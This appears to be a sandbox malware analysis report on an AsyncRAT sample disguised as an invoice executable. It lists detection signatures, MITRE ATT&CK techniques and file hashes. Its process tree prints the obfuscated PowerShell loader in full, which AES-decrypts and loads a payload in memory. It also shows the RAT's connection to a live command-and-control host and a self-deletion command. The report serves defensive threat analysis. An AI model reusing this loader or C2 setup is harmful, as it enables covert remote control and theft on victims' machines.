Overview

overview

10

Static

static

1

Invoice due.one.exe

windows10-1703-x64

10

Invoice due.one.exe

windows7-x64

7

Invoice due.one.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    1183s
  • max time network
    948s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09-02-2023 14:59

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Invoice due.one.exe

  • Size

    153KB

  • MD5

    6de66d63e7e9a414313c0237cbe97e78

  • SHA1

    464b5449e668281565e3378c72063431be99c15f

  • SHA256

    c4faab169180f07a3621c37d42aa79d04825b2a2ecc2ba01b3db7d1a8950c8b6

  • SHA512

    cc2ecad9bcee75e79c812564afadee4bfe3445b72818d13ff92b732326e222699b3d803728742a0ddc64adc7405eae3d365abb6371f62a921589ab82075930c0

  • SSDEEP

    3072:f0FHdppuOf+wMSHjnywM0vY9t8Qkh+n8KMmkYX3HB8ox1wm/:cFPMOf+wMAywM0EJksnJvNHh8Sn/

Score
10/10
asyncratpersistencerat

Malware Config

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers.

    ratasyncrat
  • Modifies Installed Components in the registry 2 TTPs 1 IoCs
    persistence
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 33 IoCs
  • Suspicious use of FindShellTrayWindow 49 IoCs
  • Suspicious use of SendNotifyMessage 21 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 43 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\Invoice due.one.exe
    "C:\Users\Admin\AppData\Local\Temp\Invoice due.one.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4788
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7zSACFE.tmp\Attached file.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1412
      • C:\Users\Admin\AppData\Local\Temp\7zSACFE.tmp\Attached file.bat.exe
        "Attached file.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $ttXwr = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\7zSACFE.tmp\Attached file.bat').Split([Environment]::NewLine);foreach ($IwcZR in $ttXwr) { if ($IwcZR.StartsWith(':: ')) { $jwYjz = $IwcZR.Substring(3); break; }; };$DRyrf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($jwYjz);$jeXlp = New-Object System.Security.Cryptography.AesManaged;$jeXlp.Mode = [System.Security.Cryptography.CipherMode]::CBC;$jeXlp.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$jeXlp.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CedaivH7c2Og4h7rOIX15KINYZFZWQdVk+kZhiAR7Dg=');$jeXlp.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ND6uaRHwvfNQY4EWCZjXCg==');$GxqNz = $jeXlp.CreateDecryptor();$DRyrf = $GxqNz.TransformFinalBlock($DRyrf, 0, $DRyrf.Length);$GxqNz.Dispose();$jeXlp.Dispose();$fIBwg = New-Object System.IO.MemoryStream(, $DRyrf);$MaiTM = New-Object System.IO.MemoryStream;$DTruH = New-Object System.IO.Compression.GZipStream($fIBwg, [IO.Compression.CompressionMode]::Decompress);$DTruH.CopyTo($MaiTM);$DTruH.Dispose();$fIBwg.Dispose();$MaiTM.Dispose();$DRyrf = $MaiTM.ToArray();$WLnCz = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($DRyrf);$vfzgA = $WLnCz.EntryPoint;$vfzgA.Invoke($null, (, [string[]] ('')))
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4152
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\oiesxi.bat"' & exit
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2132
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\oiesxi.bat"'
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4024
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\oiesxi.bat" "
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:4172
              • C:\Users\Admin\AppData\Local\Temp\oiesxi.bat.exe
                "oiesxi.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $MTmHQ = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\oiesxi.bat').Split([Environment]::NewLine);foreach ($nTvPG in $MTmHQ) { if ($nTvPG.StartsWith(':: ')) { $UZSIp = $nTvPG.Substring(3); break; }; };$lIKzC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($UZSIp);$lUWHa = New-Object System.Security.Cryptography.AesManaged;$lUWHa.Mode = [System.Security.Cryptography.CipherMode]::CBC;$lUWHa.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$lUWHa.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5o3fkOvr41ZXiqnpfLdiPUxBwT86mjJVq1mXEcPFzPQ=');$lUWHa.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RVXbPnPkrdxN3pFyOYzcjQ==');$XiQTI = $lUWHa.CreateDecryptor();$lIKzC = $XiQTI.TransformFinalBlock($lIKzC, 0, $lIKzC.Length);$XiQTI.Dispose();$lUWHa.Dispose();$QjyTM = New-Object System.IO.MemoryStream(, $lIKzC);$XfyQy = New-Object System.IO.MemoryStream;$epMta = New-Object System.IO.Compression.GZipStream($QjyTM, [IO.Compression.CompressionMode]::Decompress);$epMta.CopyTo($XfyQy);$epMta.Dispose();$QjyTM.Dispose();$XfyQy.Dispose();$lIKzC = $XfyQy.ToArray();$pJOmx = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($lIKzC);$qochh = $pJOmx.EntryPoint;$qochh.Invoke($null, (, [string[]] ('')))
                7⤵
                • Checks computer location settings
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:4104
                • C:\Windows\explorer.exe
                  "C:\Windows\explorer.exe"
                  8⤵
                  • Modifies Installed Components in the registry
                  • Enumerates connected drives
                  • Checks SCSI registry key(s)
                  • Modifies registry class
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of FindShellTrayWindow
                  • Suspicious use of SendNotifyMessage
                  PID:2940
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" XWMXS8 Pandorace.ddnsgeek.com 1338 HEHV8H
                  8⤵
                    PID:1508
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c choice /c y /n /d y /t 1 & attrib -h -s "C:\Users\Admin\AppData\Local\Temp\oiesxi.bat.exe" & del "C:\Users\Admin\AppData\Local\Temp\oiesxi.bat.exe"
                    8⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4224
                    • C:\Windows\SysWOW64\choice.exe
                      choice /c y /n /d y /t 1
                      9⤵
                        PID:1360
                      • C:\Windows\SysWOW64\attrib.exe
                        attrib -h -s "C:\Users\Admin\AppData\Local\Temp\oiesxi.bat.exe"
                        9⤵
                        • Views/modifies file attributes
                        PID:452
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp3B53.tmp.bat""
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:5052
              • C:\Windows\SysWOW64\timeout.exe
                timeout 2
                5⤵
                • Delays execution with timeout.exe
                PID:1296
      • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
        "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
        1⤵
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:4060
      • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
        "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
        1⤵
        • Enumerates system info in registry
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:2804

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Initial Access

      Execution

      Persistence

      Registry Run Keys / Startup Folder

      1
      T1060

      Hidden Files and Directories

      1
      T1158

      Privilege Escalation

      Defense Evasion

      Modify Registry

      1
      T1112

      Hidden Files and Directories

      1
      T1158

      Credential Access

      Discovery

      Query Registry

      4
      T1012

      System Information Discovery

      5
      T1082

      Peripheral Device Discovery

      2
      T1120

      Lateral Movement

      Collection

      Exfiltration

      Command and Control

      Impact

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
        Filesize

        53KB

        MD5

        06ad34f9739c5159b4d92d702545bd49

        SHA1

        9152a0d4f153f3f40f7e606be75f81b582ee0c17

        SHA256

        474813b625f00710f29fa3b488235a6a22201851efb336bddf60d7d24a66bfba

        SHA512

        c272cd28ae164d465b779163ba9eca6a28261376414c6bbdfbd9f2128adb7f7ff1420e536b4d6000d0301ded2ec9036bc5c657588458bff41f176bdce8d74f92

        Download Submit
      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        Filesize

        19KB

        MD5

        90ffa665e171bdd014464b3944c93261

        SHA1

        ea5bc52339d8a87640d9515ed4eb6ec161781964

        SHA256

        f0cd6a5769f6dae9da797510e653e370e8273e1fbcbadfa431dd3f3d2704d6fc

        SHA512

        5335090e93cdab5daaf47ca5835d867aeed87936c0e86d2fef85c2dfce28cbf948141fce380a8dcd7a68b8d0d7744572918423654c091698133a2893ed06bc6e

        Download Submit
      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        Filesize

        14KB

        MD5

        ee58e9b809263b0ca604e81bcbe0c41e

        SHA1

        38382421af0f15c18ccd4427848dc00f1a93c513

        SHA256

        e00dd667dfd75dd42d35f0f37784b74a63765aafa49ded7b65dd1b39edafa67f

        SHA512

        d5aa8db879f60e139e1ea3fe5da9ff4d1a8895496f0e6030fbee34d8d1cdfbc9dec3fc243803c09755776988d8bfb8fb6a91dc87272023c5474efd1d0134e423

        Download Submit
      • C:\Users\Admin\AppData\Local\Temp\7zSACFE.tmp\Attached file.bat
        Filesize

        49KB

        MD5

        28083371df55e64f12c86dccc6f69f55

        SHA1

        2cc63c7389063aab8fb19609f8a21e038c783eab

        SHA256

        1d2b7d4335fdf27119f1db76fb7685d75dacfc0427c300f83bcbbabeb8622529

        SHA512

        d11fe0d09aada3b069125a075cb9da249c1b30fd4489c912c1563aeff8b846c1e0f2f11cd18c81888d3e731f2331abd4ce2d5d1e4de79246ae3a8004be7a98a3

        Download Submit
      • C:\Users\Admin\AppData\Local\Temp\7zSACFE.tmp\Attached file.bat.exe
        Filesize

        423KB

        MD5

        c32ca4acfcc635ec1ea6ed8a34df5fac

        SHA1

        f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

        SHA256

        73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

        SHA512

        6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

        Download Submit
      • C:\Users\Admin\AppData\Local\Temp\7zSACFE.tmp\Attached file.bat.exe
        Filesize

        423KB

        MD5

        c32ca4acfcc635ec1ea6ed8a34df5fac

        SHA1

        f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

        SHA256

        73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

        SHA512

        6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

        Download Submit
      • C:\Users\Admin\AppData\Local\Temp\oiesxi.bat
        Filesize

        111KB

        MD5

        48550e9fed521683b45503981e2a974c

        SHA1

        cb4ac7aff91269563708a7040e9d903567c1068c

        SHA256

        79bbd246de49fb65607223a60882a7ddd10cd53e77c0e567631b8f98699d912b

        SHA512

        f8b8ac43945b5499db23fd3f0661c74c5389e9ed6f68573b9bdeadb54ed0e1ccdc58494533f6aa88f6b46530bab2d6d5ef6862472c03f4c5dcf936ba5b542654

        Download Submit
      • C:\Users\Admin\AppData\Local\Temp\oiesxi.bat.exe
        Filesize

        423KB

        MD5

        c32ca4acfcc635ec1ea6ed8a34df5fac

        SHA1

        f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

        SHA256

        73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

        SHA512

        6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

        Download Submit
      • C:\Users\Admin\AppData\Local\Temp\oiesxi.bat.exe
        Filesize

        423KB

        MD5

        c32ca4acfcc635ec1ea6ed8a34df5fac

        SHA1

        f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

        SHA256

        73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

        SHA512

        6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

        Download Submit
      • C:\Users\Admin\AppData\Local\Temp\tmp3B53.tmp.bat
        Filesize

        181B

        MD5

        f4fa4b7ad0cb82dc3b92f9adf54968c2

        SHA1

        e910769bb0bb360e0e5223f3b18eb5be7db0dd9c

        SHA256

        14a95aac7a6e712e405ce302ad9a37a578c89ef3712435098f8d452f9d083dc3

        SHA512

        6d56dff0183756bf958646b62cb1742538e05ef77e7e0d65bcac0065bf968c2e42d1536d8a5bb1426e260b9077bdd6835fd315b4512bc77069f61b9b252b78b9

        Download Submit
      • memory/452-171-0x0000000000000000-mapping.dmp
        Download
      • memory/1296-152-0x0000000000000000-mapping.dmp
        Download
      • memory/1360-170-0x0000000000000000-mapping.dmp
        Download
      • memory/1412-132-0x0000000000000000-mapping.dmp
        Download
      • memory/1508-165-0x0000000000000000-mapping.dmp
        Download
      • memory/1508-166-0x0000000000400000-0x0000000000416000-memory.dmp
        Filesize

        88KB

        Download
      • memory/1508-167-0x0000000005660000-0x00000000056F2000-memory.dmp
        Filesize

        584KB

        Download
      • memory/1508-169-0x0000000006870000-0x00000000068C0000-memory.dmp
        Filesize

        320KB

        Download
      • memory/2132-149-0x0000000000000000-mapping.dmp
        Download
      • memory/2804-187-0x000001A623C50000-0x000001A623C54000-memory.dmp
        Filesize

        16KB

        Download
      • memory/2804-198-0x000001A623C31000-0x000001A623C35000-memory.dmp
        Filesize

        16KB

        Download
      • memory/2804-208-0x000001A623C3D000-0x000001A623C40000-memory.dmp
        Filesize

        12KB

        Download
      • memory/2804-207-0x000001A623C3D000-0x000001A623C40000-memory.dmp
        Filesize

        12KB

        Download
      • memory/2804-209-0x000001A623C3D000-0x000001A623C40000-memory.dmp
        Filesize

        12KB

        Download
      • memory/2804-210-0x000001A623C3D000-0x000001A623C40000-memory.dmp
        Filesize

        12KB

        Download
      • memory/2804-205-0x000001A623C39000-0x000001A623C3D000-memory.dmp
        Filesize

        16KB

        Download
      • memory/2804-203-0x000001A623C39000-0x000001A623C3D000-memory.dmp
        Filesize

        16KB

        Download
      • memory/2804-204-0x000001A623C39000-0x000001A623C3D000-memory.dmp
        Filesize

        16KB

        Download
      • memory/2804-202-0x000001A623C39000-0x000001A623C3D000-memory.dmp
        Filesize

        16KB

        Download
      • memory/2804-199-0x000001A623C31000-0x000001A623C35000-memory.dmp
        Filesize

        16KB

        Download
      • memory/2804-197-0x000001A623C31000-0x000001A623C35000-memory.dmp
        Filesize

        16KB

        Download
      • memory/2804-196-0x000001A623C31000-0x000001A623C35000-memory.dmp
        Filesize

        16KB

        Download
      • memory/2804-191-0x000001A638A80000-0x000001A638A88000-memory.dmp
        Filesize

        32KB

        Download
      • memory/2804-189-0x000001A623C50000-0x000001A623C54000-memory.dmp
        Filesize

        16KB

        Download
      • memory/2804-188-0x000001A623C50000-0x000001A623C54000-memory.dmp
        Filesize

        16KB

        Download
      • memory/2804-186-0x000001A623C50000-0x000001A623C54000-memory.dmp
        Filesize

        16KB

        Download
      • memory/2804-185-0x000001A623C50000-0x000001A623C54000-memory.dmp
        Filesize

        16KB

        Download
      • memory/2804-182-0x000001A623B50000-0x000001A623B70000-memory.dmp
        Filesize

        128KB

        Download
      • memory/2804-179-0x000001A6223E0000-0x000001A622400000-memory.dmp
        Filesize

        128KB

        Download
      • memory/2940-164-0x0000000000000000-mapping.dmp
        Download
      • memory/4024-153-0x0000000000000000-mapping.dmp
        Download
      • memory/4024-156-0x0000000007880000-0x0000000007916000-memory.dmp
        Filesize

        600KB

        Download
      • memory/4024-157-0x0000000007850000-0x0000000007872000-memory.dmp
        Filesize

        136KB

        Download
      • memory/4104-160-0x0000000000000000-mapping.dmp
        Download
      • memory/4152-143-0x00000000069B0000-0x00000000069CA000-memory.dmp
        Filesize

        104KB

        Download
      • memory/4152-139-0x0000000005C60000-0x0000000005CC6000-memory.dmp
        Filesize

        408KB

        Download
      • memory/4152-141-0x0000000006420000-0x000000000643E000-memory.dmp
        Filesize

        120KB

        Download
      • memory/4152-140-0x0000000005DD0000-0x0000000005E36000-memory.dmp
        Filesize

        408KB

        Download
      • memory/4152-142-0x0000000007AA0000-0x000000000811A000-memory.dmp
        Filesize

        6.5MB

        Download
      • memory/4152-136-0x0000000004E50000-0x0000000004E86000-memory.dmp
        Filesize

        216KB

        Download
      • memory/4152-137-0x0000000005580000-0x0000000005BA8000-memory.dmp
        Filesize

        6.2MB

        Download
      • memory/4152-134-0x0000000000000000-mapping.dmp
        Download
      • memory/4152-145-0x0000000008120000-0x00000000081BC000-memory.dmp
        Filesize

        624KB

        Download
      • memory/4152-148-0x0000000008250000-0x000000000826E000-memory.dmp
        Filesize

        120KB

        Download
      • memory/4152-146-0x0000000008770000-0x0000000008D14000-memory.dmp
        Filesize

        5.6MB

        Download
      • memory/4152-147-0x0000000008280000-0x00000000082F6000-memory.dmp
        Filesize

        472KB

        Download
      • memory/4152-138-0x0000000005490000-0x00000000054B2000-memory.dmp
        Filesize

        136KB

        Download
      • memory/4172-159-0x0000000000000000-mapping.dmp
        Download
      • memory/4224-168-0x0000000000000000-mapping.dmp
        Download
      • memory/5052-150-0x0000000000000000-mapping.dmp
        Download